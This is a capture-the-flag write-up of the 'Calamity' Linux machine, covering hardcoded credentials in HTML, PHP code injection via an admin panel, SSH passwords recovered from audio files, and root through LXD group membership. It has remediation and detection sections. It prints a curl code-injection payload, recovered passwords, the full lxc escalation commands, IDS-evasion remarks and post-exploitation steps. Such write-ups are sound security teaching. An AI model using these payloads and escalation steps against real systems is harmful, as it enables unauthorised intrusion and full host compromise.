Overview
Calamity is a hard-rated Linux machine running Ubuntu 16.04 on a 32-bit i686 architecture. The box presents two services: SSH and an Apache web server hosting a “Brotherhood Software” page. The attack chain moves through four distinct phases: credential discovery in HTML source, PHP code injection via an admin panel, audio file analysis to recover SSH credentials, and privilege escalation through LXD group membership.
What makes Calamity interesting is the layered defence between initial RCE and a usable shell. An IDS process monitors and kills common penetration testing tools (nc, python, sh), forcing the attacker to find alternative approaches. The intended privilege escalation involves a 32-bit SUID buffer overflow binary, but the LXD group membership provides a faster path to root.
Reconnaissance
I start with a service scan to identify what is listening:
nmap -sC -sV -oA nmap/calamity 10.129.12.219
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | Ubuntu 16.04 Xenial |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | “Brotherhood Software” |
Two services. The SSH banner places this on Ubuntu 16.04, which went EOL in April 2021. The attack surface is limited to the web application.
Web Enumeration
The main page is a minimal HTML page with an image (leet.png). Directory
fuzzing reveals two interesting paths:
ffuf -u http://10.129.12.219/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
| Path | Status | Notes |
|---|---|---|
/admin.php | 200 | Login form |
/uploads/ | 301 | Empty directory listing |
Attack Surface Analysis
admin.php: hardcoded credentials in HTML (CWE-798)
The login form at /admin.php has an unusual quirk: the field labels are
swapped (the “Password” label sits on the username field, and vice versa).
More critically, viewing the HTML source reveals a comment containing the
password: skoupidotenekes.
Logging in with admin / skoupidotenekes sets a cookie
(adminpowa=noonecares) and redirects to an “HTML interpreter” page. The
cookie name and value tell you everything about how seriously this
application treats security.
HTML interpreter: PHP code injection (CWE-94)
The admin panel presents an HTML interpreter that accepts input via the
html GET parameter and renders it server-side. PHP tags are not filtered,
which means this is not an HTML interpreter at all; it is an arbitrary code
execution endpoint.
Vulnerability Analysis
The HTML interpreter vulnerability is a textbook CWE-94 (Improper Control of
Generation of Code). The html parameter value is passed directly to a PHP
evaluation function without sanitisation. Any PHP code within <?php ?> tags
executes as www-data (uid 33).
| Attribute | Value |
|---|---|
| CWE | CWE-94 (Code Injection) |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Unsanitised input passed to PHP eval/include |
| Prerequisite | Admin cookie (obtained via hardcoded credentials) |
The combination of CWE-798 (hardcoded credentials) and CWE-94 (code injection) creates an unauthenticated RCE chain. The admin cookie value is static and predictable; anyone who reads the HTML source bypasses authentication entirely.
Exploitation
Phase 1: RCE as www-data
I confirm code execution with a simple id command:
curl -b "adminpowa=noonecares" \
"http://10.129.12.219/admin.php?html=%3C%3Fphp%20echo%20system('id');%20%3F%3E"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Phase 2: IDS evasion
A host-based IDS monitors process names and kills anything containing nc,
python, or sh. This blocks standard reverse shell techniques. Kill
events are logged to /home/xalvas/intrusions. The IDS is process-name
based, which means it is trivially bypassed with compiled binaries or
renamed executables; but the box is teaching you to look for alternative
paths rather than brute-forcing through defences.
Phase 3: credential recovery from WAV files
Filesystem enumeration through the PHP injection reveals the user xalvas
at /home/xalvas/. Two WAV files are present in the home directory:
recov.wav and alarmclocks/rick.wav. A file called dontforget.txt
references peda (a GDB exploit development framework), hinting at the
intended buffer overflow path.
Analysis of the WAV files yields the SSH password: 18547936..*.
ssh [email protected]
# Password: 18547936..*
This grants an interactive shell as xalvas (uid 1000) and the user flag.
Phase 4: privilege escalation via LXD (CWE-250)
The xalvas user is a member of the lxd group:
id
# uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),108(lxd)
LXD group membership is functionally equivalent to root access. Any user who can create privileged LXD containers can mount the host filesystem inside the container with full read/write permissions.
# Transfer Alpine minirootfs to target
lxc image import alpine-minirootfs-3.18.0-x86.tar.gz --alias alpine
# Create privileged container with host root mounted
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root
lxc start pwned
# Read root flag
lxc exec pwned -- cat /mnt/root/root/root.txt
The container runs as root with the entire host filesystem available at
/mnt/root. Game over.
Alternative: SUID buffer overflow
The intended privilege escalation path is a SUID binary at
/home/xalvas/app/goodluck. The source code (src.c) reveals a struct
with a buffer overflow: a debug() function copies 100 bytes into a
64-byte stack buffer. The .gdbinit file sources peda, confirming this is
the intended challenge. The LXD path was faster, but the buffer overflow is
the more instructive exercise on a 32-bit system with no ASLR.
Post-Exploitation
With root access via the LXD container, a real attacker would:
- Harvest credentials from
/etc/shadow(likely weak hashes on a 2017-era Ubuntu 16.04 installation) - Check for SSH keys in
/home/*/.ssh/for lateral movement - Examine the IDS implementation to understand the organisation’s security monitoring capabilities (process-name-based detection is trivially evaded)
- Use the host as a pivot point for internal network reconnaissance
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial Access | T1190 | WAF rules blocking PHP tags in query parameters |
| Credential Access | T1552.001 | Source code review catching hardcoded credentials |
| Execution | T1059.004 | auditd alerting on shell spawns from Apache worker processes |
| Persistence | T1078.003 | SSH authentication logs for the xalvas account |
| Privilege Escalation | T1611 | Container creation events from non-admin users |
| Defence Evasion | T1609 | LXD audit logs showing privileged container creation |
The host-based IDS that kills nc/python/sh is a useful concept but a poor implementation. Process-name-based detection is the weakest form of endpoint monitoring. A compiled binary, a statically linked reverse shell, or even a renamed copy of netcat bypasses it entirely. Proper EDR solutions monitor system calls and network behaviour, not process names.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove hardcoded credentials from HTML source | Low | Critical |
| P0 | Disable PHP execution in the HTML interpreter | Low | Critical |
| P0 | Remove xalvas from the lxd group | Low | Critical |
| P1 | Replace process-name IDS with proper EDR | Medium | High |
| P1 | Patch or remove the SUID binary; apply stack canaries | Medium | High |
| P1 | Rotate all credentials (admin panel, xalvas SSH password) | Low | High |
| P2 | Upgrade to a supported Ubuntu release (16.04 is EOL) | High | Medium |
| P2 | Disable directory listing on /uploads/ | Low | Low |
| P3 | Apply AppArmor profiles to www-data | Medium | Medium |
The LXD privilege escalation is the most consequential finding. Group
membership in lxd is root-equivalent, and this is by design: LXD’s
security model assumes that anyone with container management permissions is
trusted. The fix is simple: remove xalvas from the group. The deeper
question is why a regular user had container management permissions in the
first place.
Key Takeaways
-
Hardcoded credentials in HTML are not authentication. The admin panel’s security rests entirely on the assumption that nobody will view the page source. This is CWE-798, one of the most basic web application vulnerabilities, and it appears with depressing regularity in real engagements.
-
Audio steganography is a legitimate data exfiltration and credential storage vector. WAV files can carry embedded data that survives casual inspection. In a forensics or incident response context, audio files deserve the same scrutiny as images and documents.
-
LXD group membership is root-equivalent. This is not a vulnerability in LXD; it is the intended security model. The vulnerability is granting that group membership to a user who should not have it. The same principle applies to the
dockergroup, thediskgroup, and any other group that provides direct hardware or container runtime access. -
Defence-in-depth requires defence at every layer. The IDS blocking reverse shell tools was a reasonable control, but it was the only control. With no WAF, no input validation, no credential management, and no privilege separation, a single bypass rendered all defences moot.